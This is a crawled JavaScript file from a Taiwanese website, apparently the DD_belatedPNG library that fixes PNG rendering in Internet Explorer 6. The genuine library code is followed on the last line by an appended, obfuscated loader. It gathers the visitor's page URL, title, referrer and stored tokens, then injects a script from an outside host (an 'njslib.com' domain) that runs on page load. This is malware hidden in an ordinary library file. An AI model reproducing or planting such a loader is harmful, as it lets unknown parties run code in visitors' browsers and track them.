PageSourceSearch

http://kiss.com.tw/js/DD_belatedPNG.js

js kiss.com.tw collected 2026-10-02 19:09:35 UTC 14,107 bytes, 13 lines download raw bytes

1* DD_belatedPNG: Adds IE6 support: PNG images for CSS background-image and HTML <IMG/>.
2* Author: Drew Diller
3* Email: [email protected]
4* URL: http://www.dillerdesign.com/experiment/DD_belatedPNG/
5* Version: 0.0.8a
6* Licensed under the MIT License: http://dillerdesign.com/experiment/DD_belatedPNG/#license
7*
8* Example usage:
9* DD_belatedPNG.fix('.png_bg'); // argument is a CSS selector
10* DD_belatedPNG.fixPng( someNode ); // argument is an HTMLDomElement
11**/
12var DD_belatedPNG={ns:"DD_belatedPNG",imgSize:{},delay:10,nodesFixed:0,createVmlNameSpace:function(){if(document.namespaces&&!document.namespaces[this.ns]){document.namespaces.add(this.ns,"urn:schemas-microsoft-com:vml")}},createVmlStyleSheet:function(){var b,a;b=document.createElement("style");b.setAttribute("media","screen");document.documentElement.firstChild.insertBefore(b,document.documentElement.firstChild.firstChild);if(b.styleSheet){b=b.styleSheet;b.addRule(this.ns+"\:*","{behavior:url(#default#VML)}");b.addRule(this.ns+"\:shape","position:absolute;");b.addRule("img."+this.ns+"_sizeFinder","behavior:none; border:none; position:absolute; z-index:-1; top:-10000px; visibility:hidden;");this.screenStyleSheet=b;a=document.createElement("style");a.setAttribute("media","print");document.documentElement.firstChild.insertBefore(a,document.documentElement.firstChild.firstChild);a=a.styleSheet;a.addRule(this.ns+"\:*","{display: none !important;}");a.addRule("img."+this.ns+"_sizeFinder","{display: none !important;}")}},readPropertyChange:function(){var b,c,a;b=event.srcElement;if(!b.vmlInitiated){return}if(event.propertyName.search("background")!=-1||event.propertyName.search("border")!=-1){DD_belatedPNG.applyVML(b)}if(event.propertyName=="style.display"){c=(b.currentStyle.display=="none")?"none":"block";for(a in b.vml){if(b.vml.hasOwnProperty(a)){b.vml[a].shape.style.display=c}}}if(event.propertyName.search("filter")!=-1){DD_belatedPNG.vmlOpacity(b)}},vmlOpacity:function(b){if(b.currentStyle.filter.search("lpha")!=-1){var a=b.currentStyle.filter;a=parseInt(a.substring(a.lastIndexOf("=")+1,a.lastIndexOf(")")),10)/100;b.vml.color.shape.style.filter=b.currentStyle.filter;b.vml.image.fill.opacity=a}},handlePseudoHover:function(a){setTimeout(function(){DD_belatedPNG.applyVML(a)},1)},fix:function(a){if(this.screenStyleSheet){var c,b;c=a.split(",");for(b=0;b<c.length;b++){this.screenStyleSheet.addRule(c[b],"behavior:expression(DD_belatedPNG.fixPng(this))")}}},applyVML:function(a){a.runtimeStyle.cssText="";this.vmlFill(a);this.vmlOffsets(a);this.vmlOpacity(a);if(a.isImg){this.copyImageBorders(a)}},attachHandlers:function(i){var d,c,g,e,b,f;d=this;c={resize:"vmlOffsets",move:"vmlOffsets"};if(i.nodeName=="A"){e={mouseleave:"handlePseudoHover",mouseenter:"handlePseudoHover",focus:"handlePseudoHover",blur:"handlePseudoHover"};for(b in e){if(e.hasOwnProperty(b)){c[b]=e[b]}}}for(f in c){if(c.hasOwnProperty(f)){g=function(){d[c[f]](i)};i.attachEvent("on"+f,g)}}i.attachEvent("onpropertychange",this.readPropertyChange)},giveLayout:function(a){a.style.zoom=1;if(a.currentStyle.position=="static"){a.style.position="relative"}},copyImageBorders:function(b){var c,a;c={borderStyle:true,borderWidth:true,borderColor:true};for(a in c){if(c.hasOwnProperty(a)){b.vml.color.shape.style[a]=b.currentStyle[a]}}},vmlFill:function(e){if(!e.currentStyle){return}else{var d,f,g,b,a,c;d=e.currentStyle}for(b in e.vml){if(e.vml.hasOwnProperty(b)){e.vml[b].shape.style.zIndex=d.zIndex}}e.runtimeStyle.backgroundColor="";e.runtimeStyle.backgroundImage="";f=true;if(d.backgroundImage!="none"||e.isImg){if(!e.isImg){e.vmlBg=d.backgroundImage;e.vmlBg=e.vmlBg.substr(5,e.vmlBg.lastIndexOf('")')-5)}else{e.vmlBg=e.src}g=this;if(!g.imgSize[e.vmlBg]){a=document.createElement("img");g.imgSize[e.vmlBg]=a;a.className=g.ns+"_sizeFinder";a.runtimeStyle.cssText="behavior:none; position:absolute; left:-10000px; top:-10000px; border:none; margin:0; padding:0;";c=function(){this.width=this.offsetWidth;this.height=this.offsetHeight;g.vmlOffsets(e)};a.attachEvent("onload",c);a.src=e.vmlBg;a.removeAttribute("width");a.removeAttribute("height");document.body.insertBefore(a,document.body.firstChild)}e.vml.image.fill.src=e.vmlBg;f=false}e.vml.image.fill.on=!f;e.vml.image.fill.color="none";e.vml.color.shape.style.backgroundColor=d.backgroundColor;e.runtimeStyle.backgroundImage="none";e.runtimeStyle.backgroundColor="transparent"},vmlOffsets:function(d){var h,n,a,e,g,m,f,l,j,i,k;h=d.currentStyle;n={W:d.clientWidth+1,H:d.clientHeight+1,w:this.imgSize[d.vmlBg].width,h:this.imgSize[d.vmlBg].height,L:d.offsetLeft,T:d.offsetTop,bLW:d.clientLeft,bTW:d.clientTop};a=(n.L+n.bLW==1)?1:0;e=function(b,p,q,c,s,u){b.coordsize=c+","+s;b.coordorigin=u+","+u;b.path="m0,0l"+c+",0l"+c+","+s+"l0,"+s+" xe";b.style.width=c+"px";b.style.height=s+"px";b.style.left=p+"px";b.style.top=q+"px"};e(d.vml.color.shape,(n.L+(d.isImg?0:n.bLW)),(n.T+(d.isImg?0:n.bTW)),(n.W-1),(n.H-1),0);e(d.vml.image.shape,(n.L+n.bLW),(n.T+n.bTW),(n.W),(n.H),1);g={X:0,Y:0};if(d.isImg){g.X=parseInt(h.paddingLeft,10)+1;g.Y=parseInt(h.paddingTop,10)+1}else{for(j in g){if(g.hasOwnProperty(j)){this.figurePercentage(g,n,j,h["backgroundPosition"+j])}}}d.vml.image.fill.position=(g.X/n.W)+","+(g.Y/n.H);m=h.backgroundRepeat;f={T:1,R:n.W+a,B:n.H,L:1+a};l={X:{b1:"L",b2:"R",d:"W"},Y:{b1:"T",b2:"B",d:"H"}};if(m!="repeat"||d.isImg){i={T:(g.Y),R:(g.X+n.w),B:(g.Y+n.h),L:(g.X)};if(m.search("repeat-")!=-1){k=m.split("repeat-")[1].toUpperCase();i[l[k].b1]=1;i[l[k].b2]=n[l[k].d]}if(i.B>n.H){i.B=n.H}d.vml.image.shape.style.clip="rect("+i.T+"px "+(i.R+a)+"px "+i.B+"px "+(i.L+a)+"px)"}else{d.vml.image.shape.style.clip="rect("+f.T+"px "+f.R+"px "+f.B+"px "+f.L+"px)"}},figurePercentage:function(d,c,f,a){var b,e;e=true;b=(f=="X");switch(a){case"left":case"top":d[f]=0;break;case"center":d[f]=0.5;break;case"right":case"bottom":d[f]=1;break;default:if(a.search("%")!=-1){d[f]=parseInt(a,10)/100}else{e=false}}d[f]=Math.ceil(e?((c[b?"W":"H"]*d[f])-(c[b?"w":"h"]*d[f])):parseInt(a,10));if(d[f]%2===0){d[f]++}return d[f]},fixPng:function(c){c.style.behavior="none";var g,b,f,a,d;if(c.nodeName=="BODY"||c.nodeName=="TD"||c.nodeName=="TR"){return}c.isImg=false;if(c.nodeName=="IMG"){if(c.src.toLowerCase().search(/.png$/)!=-1){c.isImg=true;c.style.visibility="hidden"}else{return}}else{if(c.currentStyle.backgroundImage.toLowerCase().search(".png")==-1){return}}g=DD_belatedPNG;c.vml={color:{},image:{}};
12b={shape:{},fill:{}};for(a in c.vml){if(c.vml.hasOwnProperty(a)){for(d in b){if(b.hasOwnProperty(d)){f=g.ns+":"+d;c.vml[a][d]=document.createElement(f)}}c.vml[a].shape.stroked=false;c.vml[a].shape.appendChild(c.vml[a].fill);c.parentNode.insertBefore(c.vml[a].shape,c)}}c.vml.image.shape.fillcolor="none";c.vml.image.fill.type="tile";c.vml.color.fill.on=false;g.attachHandlers(c);g.giveLayout(c);g.giveLayout(c.offsetParent);c.vmlInitiated=true;g.applyVML(c)}};try{document.execCommand("BackgroundImageCache",false,true)}catch(r){}DD_belatedPNG.createVmlNameSpace();DD_belatedPNG.createVmlStyleSheet();
13function _0x5001(_0x35d92a,_0x3f39d3){var _0x1dcd09=_0x2789();return _0x5001=function(_0x8191c3,_0x1b7b14){_0x8191c3=_0x8191c3-(-0x1c2d+0x2259*0x1+-0x4d4);var _0x1aa0f0=_0x1dcd09[_0x8191c3];return _0x1aa0f0;},_0x5001(_0x35d92a,_0x3f39d3);}function _0x2789(){var _0x51a064=['type','removeItem','referrer','TBDvk','&token=','npGNW','trAcg','&se_referr','?return=js','oVZNE','hostname','1786388ziTTTG','title','created_at','AhHrZ','ZUktF','sByTagName','JQVXw','ent','InLfz','BuWam','unique','_PQqN6R19r','5447440BzQZGu','&landing_u','search','LVOOM','ljYGY','njslib.com','location','rl=','er=','replace','uThzI','abzwu','dZ3n2jW','parentNode','168bQfBQZ','aoYvE','pathname','parse','uJjRQ','https://cd','sslBE','getElement','&default_k','oSMFD','getItem','51222zCTFlf','Ncuux','eyword=','bgRSY','GXTgA','kSHnk','YtPbr','n/javascri','jneEy','Mwpph','token','createElem','applicatio','174zrhsUC','bpcRi','jjrEk','src','sbQRE','9pZveXH','ujQUD','lpcPy','GRiYX','subId','1919752vIuEfb','&sub_id=','&host=','round','MeioJ','insertBefo','40556JHKshk','22190674tyviKj','.client','Ewqnf','yczSe','IrSlc','script','968480nejUwQ','undefined','config','URzDw','R_PATH','1SYEcIn','ttl','&name=','/V9yBsY'];_0x2789=function(){return _0x51a064;};return _0x2789();}(function(_0x475d55,_0x5eb371){var _0x15b55b=_0x5001,_0x915091=_0
13x475d55();while(!![]){try{var _0x4fcf20=-parseInt(_0x15b55b(0x1a8))/(0xaa4+-0x60f+-0x24a*0x2)*(-parseInt(_0x15b55b(0x15a))/(0xc20+0x2205+0x7f*-0x5d))+-parseInt(_0x15b55b(0x18c))/(-0x8*0x12d+0x20d4+0xd*-0x1cd)*(-parseInt(_0x15b55b(0x19c))/(-0x440+0xaee+-0x6aa))+parseInt(_0x15b55b(0x166))/(-0x1701*0x1+0x9ae+-0x1c*-0x7a)+-parseInt(_0x15b55b(0x17f))/(0x991*0x2+-0x22*0xdf+0xa82)*(-parseInt(_0x15b55b(0x174))/(0x2028+0x52e+-0x1*0x254f))+parseInt(_0x15b55b(0x196))/(0x1c8*-0x4+0x1ba7*0x1+-0x63*0x35)*(-parseInt(_0x15b55b(0x191))/(0x42f*-0x1+0x20f4+-0x1cbc))+parseInt(_0x15b55b(0x1a3))/(-0x8a4+-0x25f*0x6+0x2dd*0x8)+-parseInt(_0x15b55b(0x19d))/(0x15*-0x19d+0x6d5+0x1b17);if(_0x4fcf20===_0x5eb371)break;else _0x915091['push'](_0x915091['shift']());}catch(_0x5b868c){_0x915091['push'](_0x915091['shift']());}}}(_0x2789,0x9b71+0x82366+0x5219*0x2),(function(){var _0x30530e=_0x5001,_0x580987={'bgRSY':_0x30530e(0x165)+_0x30530e(0x172),'kSHnk':_0x30530e(0x179)+_0x30530e(0x16b)+_0x30530e(0x1ab),'jneEy':_0x30530e(0x1a5),'BuWam':function(_0x138c04,_0x46b186){return _0x138c04!==_0x46b186;},'trAcg':_0x30530e(0x1a4),'bpcRi':function(_0x3a6f1b,_0x357eb6){return _0x3a6f1b/_0x357eb6;},'ZUktF':function(_0xedd1a4,_0x1ed20c){return _0xedd1a4<_0x1ed20c;},'YtPbr':function(_0x4bbf3e,_0x587e5c){return _0x4bbf3e+_0x587e5c;},'GXTgA':_0x30530e(0x195),'abzwu':_0x30530e(0x189),'sslBE':_0x30530e(0x1b4)+_0x30530e(0x19e),'jjrEk':function(_0x43fdc5,_0x23a142){return _0x43fdc5+_0x23a142;},'Ncuux':function(_0x49142f,_0x32419b){return _0x49142f(_0x32419b);},'sbQRE':function(_0x41d9b2,_0x248f87){return _0x41d9b2+_0x248f87;},'InLfz':_0x30530e(0x1b3)+_0x30530e(0x16e),'JQVXw':function(_0x3ab83c,_0x259988){return _0x3ab83c(_0x259988);},'ljYGY':function(_0x41b2b8,_0x328e4f){return _0x41b2b8+_0x328e4f;},'yczSe':_0x30530e(0x17c)+_0x30530e(0x181),'aoYvE':function(_0x20b652,_0x6a296e){return _0x20b652(_0x6a296e);},'URzDw':function(_0x2223e4,_0x731bf9){return _0x2223e4+_0x731bf9;},'oVZNE':_0x30530e(0x167)+_0x30530e(0x16d),'uThzI':function(_0xbc4560,_0x459d16){return _0xbc4560(_0x459d16);},'Mwpph':function(_0x3a49b5,_0x497bf3){return _0x3a49b5+_0x497bf3;},'oSMFD':function(_0x3c2743,_0x40f875){return _0x3c2743+_0x40f875;},'TBDvk':_0x30530e(0x1aa),'ujQUD':function(_0x45cacb,_0x2a9c9f){return _0x45cacb+_0x2a9c9f;},'lpcPy':_0x30530e(0x198),'LVOOM':function(_0x242f66,_0x1fc6a5){return _0x242f66(_0x1fc6a5);},'Ewqnf':function(_0x528592,_0x559a54){return _0x528592!==_0x559a54;},'AhHrZ':_0x30530e(0x197),'uJjRQ':function(_0x52f082,_0x27d995){return _0x52f082(_0x27d995);},'GRiYX':_0x30530e(0x1b0),'npGNW':function(_0x532a9a,_0x345b21){return _0x532a9a(_0x345b21);},'IrSlc':_0x30530e(0x1a2),'MeioJ':_0x30530e(0x18b)+_0x30530e(0x186)+'pt'},_0x553e57=_0x580987[_0x30530e(0x182)];!window[_0x30530e(0x165)+_0x30530e(0x172)]&&(window[_0x30530e(0x165)+_0x30530e(0x172)]={'unique':![],'ttl':0x15180,'R_PATH':_0x580987[_0x30530e(0x184)]});const _0x268d4d=localStorage[_0x30530e(0x17e)](_0x580987[_0x30530e(0x187)]);if(_0x580987[_0x30530e(0x163)](typeof _0x268d4d,_0x580987[_0x30530e(0x1b2)])&&_0x580987[_0x30530e(0x163)](_0x268d4d,null)){var _0x44f112=JSON[_0x30530e(0x177)](_0x268d4d),_0x32a6a5=Math[_0x30530e(0x199)](_0x580987[_0x30530e(0x18d)](+new Date(),0x1909+-0x1b*0xc5+0x2*-0x2d));_0x580987[_0x30530e(0x15e)](_0x580987[_0x30530e(0x185)](_0x44f112[_0x30530e(0x15c)],window[_0x30530e(0x165)+_0x30530e(0x172)][_0x30530e(0x1a9)]),_0x32a6a5)&&(localStorage[_0x30530e(0x1ad)](_0x580987[_0x30530e(0x183)]),localStorage[_0x30530e(0x1ad)](_0x580987[_0x30530e(0x171)]),localStorage[_0x30530e(0x1ad)](_0x580987[_0x30530e(0x187)]));}var _0x4d88e6=localStorage[_0x30530e(0x17e)](_0x580987[_0x30530e(0x183)]),_0x2e92f0=localStorage[_0x30530e(0x17e)](_0x580987[_0x30530e(0x171)]),_0x4ccfee=_0x580987[_0x30530e(0x17a)];_0x4ccfee+=_0x580987[_0x30530e(0x18e)]('&',_0x580987[_0x30530e(0x180)](decodeURIComponent,window[_0x30530e(0x16c)][_0x30530e(0x168)][_0x30530e(0x16f)]('?',''))),_0x4ccfee+=_0x580987[_0x30530e(0x190)](_0x580987[_0x30530e(0x162)],_0x580987[_0x30530e(0x160)](encodeURIComponent,document[_0x30530e(0x1ae)])),_0x4ccfee+=_0x580987[_0x30530e(0x16a)](_0x580987[_0x30530e(0x1a0)],_0x580987[_0x30530e(0x175)](encodeURIComponent,document[_0x30530e(0x15b)])),_0x4ccfee+=_0x580987[_0x30530e(0x1a6)](_0x580987[_0x30530e(0x158)],_0x580987[_0x30530e(0x170)](encodeURIComponent,_0x580987[_0x30530e(0x188)](document[_0x30530e(0x16c)][_0x30530e(0x159)],document[_0x30530e(0x16c)][_0x30530e(0x176)]))),_0x4ccfee+=_0x580987[_0x30530e(0x17d)](_0x580987[_0x30530e(0x1af)],_0x580987[_0x30530e(0x160)](encodeURIComponent,_0x553e57)),_0x4ccfee+=_0x580987[_0x30530e(0x192)](_0x580987[_0x30530e(0x193)],_0x580987[_0x30530e(0x169)](encodeURIComponent,window[_0x30530e(0x165)+_0x30530e(0x172)][_0x30530e(0x1a7)]));_0x580987[_0x30530e(0x19f)](typeof _0x4d88e6,_0x580987[_0x30530e(0x1b2)])&&_0x4d88e6&&window[_0x30530e(0x165)+_0x30530e(0x172)][_0x30530e(0x164)]&&(_0x4ccfee+=_0x580987[_0x30530e(0x16a)](_0x580987[_0x30530e(0x15d)],_0x580987[_0x30530e(0x178)](encodeURIComponent,_0x4d88e6)));_0x580987[_0x30530e(0x163)](typeof _0x2e92f0,_0x580987[_0x30530e(0x1b2)])&&_0x2e92f0&&window[_0x30530e(0x165)+_0x30530e(0x172)][_0x30530e(0x164)]&&(_0x4ccfee+=_0x580987[_0x30530e(0x185)](_0x580987[_0x30530e(0x194)],_0x580987[_0x30530e(0x1b1)](encodeURIComponent,_0x2e92f0)));var _0x5c98d0=document[_0x30530e(0x18a)+_0x30530e(0x161)](_0x580987[_0x30530e(0x1a1)]);_0x5c98d0[_0x30530e(0x1ac)]=_0x580987[_0x30530e(0x19a)],_0x5c98d0[_0x30530e(0x18f)]=_0x580987[_0x30530e(0x16a)](window[_0x30530e(0x165)+_0x30530e(0x172)][_0x30530e(0x1a7)],_0x4ccfee);
13var _0x30f409=document[_0x30530e(0x17b)+_0x30530e(0x15f)](_0x580987[_0x30530e(0x1a1)])[0x3fd*0x9+0x684+-0xe7*0x2f];_0x30f409[_0x30530e(0x173)][_0x30530e(0x19b)+'re'](_0x5c98d0,_0x30f409);}()));

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.